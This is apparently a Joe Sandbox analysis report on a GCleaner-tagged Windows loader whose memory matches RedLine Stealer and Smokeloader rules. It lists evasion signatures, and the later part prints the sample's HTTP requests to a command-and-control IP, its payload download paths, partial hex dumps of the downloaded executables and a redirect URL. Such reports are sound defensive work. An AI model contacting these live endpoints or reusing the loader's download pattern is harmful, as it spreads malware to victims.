Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
3K6rBUOQ2z.exe

Overview

General Information

Sample name:	3K6rBUOQ2z.exe renamed because original name is a hash value
Original sample name:	cd064ed63eb478d56c93d52cfe887dc8.exe
Analysis ID:	1578960
MD5:	cd064ed63eb478d56c93d52cfe887dc8
SHA1:	9d62f688f68fcd6e26dd305182aaa06b347cac19
SHA256:	a324acc96508f28104aa5405783170e94920f75a4f07751583b97e18bb98deb2
Tags:	exeGCleaneruser-abuse_ch
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

×

Process Tree

System is w10x64

3K6rBUOQ2z.exe (PID: 4204 cmdline: "C:\Users\user\Desktop\3K6rBUOQ2z.exe" MD5: CD064ED63EB478D56C93D52CFE887DC8)

WerFault.exe (PID: 5108 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4204 -s 1548 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2703351422.0000000000F89000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1430:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 3K6rBUOQ2z.exe

Avira: detected

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\soft[1]	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\wuBeweeRz\Y-Cleaner.exe	ReversingLabs: Detection: 75%

Multi AV Scanner detection for submitted file

Source: 3K6rBUOQ2z.exe

ReversingLabs: Detection: 31%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\soft[1]	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\wuBeweeRz\Y-Cleaner.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 3K6rBUOQ2z.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_004034C0 CryptAcquireContextW,CryptCreateHash,_mbstowcs,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,		0_2_004034C0
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_04B43727 CryptAcquireContextW,CryptCreateHash,_mbstowcs,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,		0_2_04B43727

Source: 3K6rBUOQ2z.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_00415D07 FindFirstFileExW,		0_2_00415D07
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_10007EA9 FindFirstFileExW,		0_2_10007EA9
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	Code function: 0_2_04B55F6E FindFirstFileExW,		0_2_04B55F6E

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 16:09:59 GMTServer: Apache/2.4.52 (Ubuntu)Content-Disposition: attachment; filename="dll";Content-Length: 242176Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 a6 03 00 00 20 00 00 00 a8 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 04 00 00 00 e0 03 00 00 06 00 00 00 aa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 04 00 00 02 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 c6 03 00 00 00 00 00 48 00 00 00 02 00 05 00 a0 60 02 00 34 65 01 00 01 00 00 00 00 00 00 00 90 55 01 00 10 0b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 00 59 00 79 00 3d 00 7b 00 58 00 78 00 3d 00 8a 72 93 00 00 70 04 6f 32 00 00 0a 8c 6f 00 00 01 28 33 00 00 0a 02 04 6f 32 00 00 0a 7d 05 00 00 04 2a 3a 02 03 73 01 00 00 06 04 28 02 00 00 06 2a 1e 17 80 06 00 00 04 2a 32 72 df 00 00 70 28 3b 00 00 0a 26 2a 56 72 a8 0f 00 70 80 07 00 00 04 72 a8 0f 00 70 80 08 00 00 04 2a 1e 02 28 1f 00 00 0a 2a 3e 02 fe 15 06 00 00 02 02 03 7d 09 00 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 28 45 00 00 0a 7d 09 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 47 00 00 0a 26 2a 3e 02 fe 15 07 00 00 02 02 03 7d 0e 00 00 04 2a aa 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 7d 0e 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 48 00 00 0a 26 2a 22 02 fe 15 08 00 00 02 2a 3e 02 fe 15 09 00 00 02 02 03 7d 18 00 00 04 2a 52 02 03 7d 20 00 00 04 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2a 1e 02 7b 20 00 00 04 2a 22 02 03 7d 21 00 00 04 2a 1e 02 7b 21 00 00 04 2a ea 02 03 7d 1f 00 00 04 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 16:10:02 GMTServer: Apache/2.4.52 (Ubuntu)Content-Disposition: attachment; filename="soft";Content-Length: 1502720Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 2f 14 00 00 20 00 00 00 30 14 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f0 b9 02 00 00 60 14 00 00 ba 02 00 00 32 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 17 00 00 02 00 00 00 ec 16 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4f 14 00 00 00 00 00 48 00 00 00 02 00 05 00 68 7e 00 00 b8 44 00 00 01 00 00 00 55 00 00 06 20 c3 00 00 10 8c 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 13 00 00 0a 2a 1e 02 28 13 00 00 0a 2a ae 7e 01 00 00 04 2d 1e 72 01 00 00 70 d0 03 00 00 02 28 14 00 00 0a 6f 15 00 00 0a 73 16 00 00 0a 80 01 00 00 04 7e 01 00 00 04 2a 1a 7e 02 00 00 04 2a 1e 02 80 02 00 00 04 2a 6a 28 03 00 00 06 72 3d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 4d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 b7 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 cb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 d9 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 eb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 1f 01 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 1a 7e 03 00 00 04 2a 1e 02 28 18 00 00 0a 2a 56 73 0e 00 00 06 28 19 00 00 0a 74 04 00 00 02 80 03 00 00 04 2a 4e 02 28 1a 00 00 0a 02 28 1e 00 00 06 02 28 11 00 00

Source: Joe Sandbox View

IP Address: 185.156.73.23 185.156.73.23

Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.23

Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe

Code function: 0_2_00401880 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,

Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: dHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: sHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache

Source: 3K6rBUOQ2z.exe, 00000000.00000002.2705531597.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/add?substr=mixtwo&s=three&sub=emp
Source: 3K6rBUOQ2z.exe, 00000000.00000002.2705531597.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/add?substr=mixtwo&s=three&sub=emp8
Source: 3K6rBUOQ2z.exe, 00000000.00000002.2705531597.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/dll/downloadX
Source: 3K6rBUOQ2z.exe, 00000000.00000002.2705531597.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/dll/downloadp
Source: 3K6rBUOQ2z.exe, 00000000.00000002.2705531597.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/dll/key
Source: 3K6rBUOQ2z.exe, 00000000.00000002.2705531597.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/dll/keyW
Source: 3K6rBUOQ2z.exe, 00000000.00000002.2705531597.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/download
Source: 3K6rBUOQ2z.exe, 00000000.00000002.2705531597.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/soft/download
Source: 3K6rBUOQ2z.exe, 00000000.00000002.2705531597.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/soft/download23/files/downloadz
Source: Amcache.hve.9.dr	String found in binary or memory: http://upx.sf.net
Source: 3K6rBUOQ2z.exe, 00000000.00000003.2358075717.00000000057DE000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2357895485.000000000581F000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2358451086.00000000058E1000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2357936913.0000000005655000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2358075717.000000000581B000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2358268581.000000000581F000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2360335991.000000000581F000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2359822442.000000000581F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174
Source: 3K6rBUOQ2z.exe, 00000000.00000003.2358075717.00000000057DE000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2357895485.000000000581F000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2358451086.00000000058E1000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2357936913.0000000005655000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2358075717.000000000581B000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2358268581.000000000581F000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2360335991.000000000581F000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2359822442.000000000581F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: https://g-cleanit.hk
Source: 3K6rBUOQ2z.exe, 00000000.00000003.2358075717.00000000057DE000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2357895485.000000000581F000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2358451086.00000000058E1000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2357936913.0000000005655000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2358075717.000000000581B000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2358268581.000000000581F000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2360335991.000000000581F000.00000004.00000020.00020000.00000000.sdmp, 3K6rBUOQ2z.exe, 00000000.00000003.2359822442.000000000581F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: 